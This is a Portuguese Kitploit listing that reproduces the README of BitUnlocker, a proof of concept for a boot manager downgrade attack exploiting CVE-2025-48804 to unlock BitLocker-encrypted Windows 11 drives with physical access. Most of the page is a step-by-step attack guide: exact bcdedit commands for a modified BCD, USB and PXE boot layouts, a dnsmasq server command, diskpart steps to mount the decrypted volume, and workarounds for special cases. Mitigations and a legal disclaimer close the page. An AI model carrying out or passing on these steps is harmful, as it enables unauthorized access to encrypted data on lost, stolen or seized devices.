Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
BitUnlocker — Ataque de downgrade para CVE-2025-48804 | Kitploit
Ferramentas/GitHubGitHub/garatc/bitunlocker
Análise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoSegurança de HardwareRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Ataque de downgrade para CVE-2025-48804

Ver Repositório
223442há 5 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ataque de Downgrade BitUnlocker

License: MIT

Uma prova de conceito para acessar discos criptografados com BitLocker em menos de 5 minutos em máquinas Windows 11 totalmente atualizadas, através de um ataque de downgrade do gerenciador de inicialização, aproveitando a vulnerabilidade SDI originalmente documentada como CVE-2025-48804. O patch de julho de 2025 corrige isso em bootmgfw.efi, portanto, qualquer bootmgfw.efi anterior ao patch, assinado sob PCA 2011, pode ser usado para um ataque de downgrade, desde que o sistema alvo confie nesta PCA.

Esta PoC fornece dois métodos de entrega: inicialização USB (mais simples e recomendada) e inicialização PXE. Mas, teoricamente, você também poderia simplesmente copiar um arquivo de inicialização SDI para uma das partições padrão não criptografadas (ESP e Recuperação) e não se preocupar com USB ou PXE - veja a tabela "Casos especiais".

Este trabalho baseia-se inteiramente na pesquisa da Microsoft STORM (Netanel Ben Simon e Alon Leviev):

BitUnlocker: Aproveitando a Recuperação do Windows para Extrair Segredos do BitLocker


Pré-requisitos

  • Acesso físico a um dispositivo criptografado com BitLocker (somente TPM, PCR 7 + 11)
  • O banco de dados Secure Boot do dispositivo ainda confia no certificado Microsoft Windows PCA 2011
  • Um pendrive USB (recomendado) ou uma máquina Linux com dnsmasq e um cabo Ethernet para PXE
Baixar ferramenta

Passo a passo

1. Baixar boot_patched.sdi dos Releases (ou construir seu próprio arquivo SDI, veja abaixo)

Coloque-o em USB/sdi/ (para método USB) ou TFTP-root/sdi/ (para método PXE).

2. Preparar o BCD modificado

No dispositivo alvo, abra um prompt de comando do WinRE (segure Shift enquanto clica em Reiniciar, depois Solucionar problemas > Prompt de Comando — clique em "Ignorar este disco" quando solicitado a chave de recuperação do BitLocker e clique em "reiniciar" se também for informado que o prompt de comando não pode ser executado em um dispositivo bloqueado — e se o prompt de comando simplesmente não abrir, use seu próprio WinPE, se possível). Conecte um pendrive USB e execute:

root@kitploit:~
E: (ou onde estiver seu USB)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

Na saída, encontre a entrada de opções de dispositivo cuja descrição seja "Windows Recovery" e que contenha entradas ramdisksdidevice / ramdisksdipath. Anote seu GUID, então:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Coloque o arquivo BCD resultante no local apropriado dependendo do seu método:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Inicializar o alvo

Opção A: Inicialização USB (recomendada)

Formate um pendrive USB como FAT32 e copie o conteúdo do diretório USB/ para sua raiz (apenas seu conteúdo, não deve haver uma pasta "USB"). O pendrive USB deve ficar assim:

root@kitploit:~
Raiz do pendrive USB/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Gerenciador de inicialização anterior ao patch (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Seu BCD modificado
└── sdi/
    └── boot_patched.sdi        # SDI corrigido com WinRE personalizado

Conecte o pendrive USB ao alvo e acione uma inicialização UEFI USB — seja pelo WinRE (Usar um dispositivo) ou pressionando a tecla do menu de inicialização do fabricante ao ligar (F12, F9, etc.). Se o pendrive USB não aparecer na lista de opções de inicialização, procure por uma opção "Inicializar a partir de arquivo" no menu de inicialização UEFI, então navegue até EFI/Boot/bootx64.efi no pendrive USB.

Opção B: Inicialização PXE

O diretório TFTP-root/ está estruturado da seguinte forma:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Gerenciador de inicialização anterior ao patch (PCA 2011)
├── Boot/
│   └── BCD                     # Seu BCD modificado
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Mesmo gerenciador de inicialização anterior ao patch
└── sdi/
    └── boot_patched.sdi        # SDI corrigido com WinRE personalizado

Conecte o alvo à sua máquina Linux via Ethernet e inicie o servidor PXE:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<sua-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Acione a inicialização PXE no alvo — pelo WinRE selecione Usar um dispositivo > Rede IPv4, ou pressione a tecla de inicialização PXE do fabricante.

4. Aguardar a transferência do SDI

O gerenciador de inicialização carregará o BCD e, em seguida, começará a baixar boot_patched.sdi. O arquivo SDI é grande (~300 MB), então leva um momento via USB, ou vários minutos via TFTP. Uma mensagem relacionada à recuperação com o caminho SDI deve aparecer na tela do alvo enquanto ele carrega.

5. Aproveitar

Assim que a transferência for concluída, um prompt de comando deve aparecer com o volume do SO descriptografado e montado (tipicamente C: ou E:). Se não foi montado automaticamente ou você não quer adivinhar a letra, basta executar diskpart -> sel vol X (aquele que parece ser sua unidade criptografada) -> assign letter=C (ou outra letra) -> exit -> aproveitar

Casos especiais

SituaçãoO que acontece
BitLocker configurado com um PIN que você conheceTela azul na inicialização — digite o PIN às cegas (desculpe, não me preocupei com fontes do BitLocker neste repositório) e pressione Enter
Tela azul, sem PINO alvo provavelmente migrou para CA 2023 — pressione Escape e deixe a transferência SDI terminar de qualquer forma, mas a unidade criptografada com BitLocker provavelmente estará bloqueada no final
Somente USB-C / ThunderboltUse um drive USB-C ou adaptador USB-Ethernet (para PXE)
Arquivo TFTP não encontrado (exceto arquivos de fonte lixo que não nos importamos)Nomes de arquivos diferenciam maiúsculas de minúsculas — renomeie bootmgfw.efi para corresponder ao que o alvo solicita
Inicialização PXE ou USB não permitidaVerifique o tamanho disponível das partições ESP e Recovery (diskpart -> list vol). Se houver espaço suficiente para o arquivo Boot.sdi fornecido (cerca de 300 MB) em qualquer partição, coloque-o lá. Então, o exploit será ligeiramente diferente (mas ainda tão rápido) pois você precisará modificar diretamente o arquivo BCD do sistema alvo (faça um backup) para apontar para a partição do host não criptografada (entrada ramdisksdidevice do BCD em particular), e substituir o bootmgfw.efi do seu alvo pelo fornecido na pasta TFTP deste repositório. Neste caso, certifique-se de verificar se o gerenciador de inicialização do seu alvo está assinado pelo PCA 2011 (o exploit não funcionaria nesse caso de qualquer forma, sempre verifique isso), caso contrário você colocará o sistema na recuperação do BitLocker. Além disso, se não houver espaço suficiente para o arquivo Boot.sdi que forneci neste repositório, você pode tentar criar sua própria versão menor, definitivamente existem algumas maneiras de fazer isso (veja a seção "Construir seu próprio arquivo SDI" abaixo)

Construir seu próprio arquivo SDI

Incluí dois scripts em scripts/:

  • patch_sdi.py — constrói um arquivo SDI modificado a partir de um boot.sdi e um arquivo WinRE.wim
  • parse_sdi.py — analisa um arquivo SDI para validar sua estrutura e conteúdo

O arquivo boot_patched.sdi fornecido nos Releases contém um WinRE.wim modificado onde o aplicativo de inicialização é cmd.exe.

Casos não exploráveis

  • TPM + PIN ou TPM + arquivo de chave está configurado e o invasor não o conhece
  • KB5025885 está instalado / o gerenciador de inicialização foi migrado para CA 2023 — máquinas recém-instaladas desde o início de 2026 provavelmente vêm com um bootmgfw.efi assinado por CA 2023 por padrão. Para verificar, monte a partição EFI e inspecione o binário ativo: mountvol S: /s então sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Observe que C:\Windows\Boot\EFI\bootmgfw.efi pode ser diferente do arquivo realmente usado na inicialização — sempre verifique a cópia da partição EFI.
  • Política de PCR não padrão — configurações envolvendo PCR 0, 2 ou 4 detectarão a mudança no caminho de inicialização
  • PCA 2011 revogada via DBX — se o certificado antigo foi explicitamente desconfiado

Mitigações

  • Ativar TPM + PIN — um PIN pré-inicialização impede que o TPM desvele o VMK sem interação do usuário, independentemente da manipulação do caminho de inicialização. Tenha em mente, no entanto, que isso não impediria um insider que conheça o PIN.
  • Migrar para Windows UEFI CA 2023 e aplicar KB5025885 para evitar ataques de downgrade completamente

Créditos

Microsoft STORM (Netanel Ben Simon e Alon Leviev) pela pesquisa original do BitUnlocker e divulgação da vulnerabilidade.


Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.

Aviso Legal

Este repositório e todo o seu conteúdo são fornecidos estritamente para testes de segurança autorizados e fins de pesquisa. Use esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano resultante do uso deste material.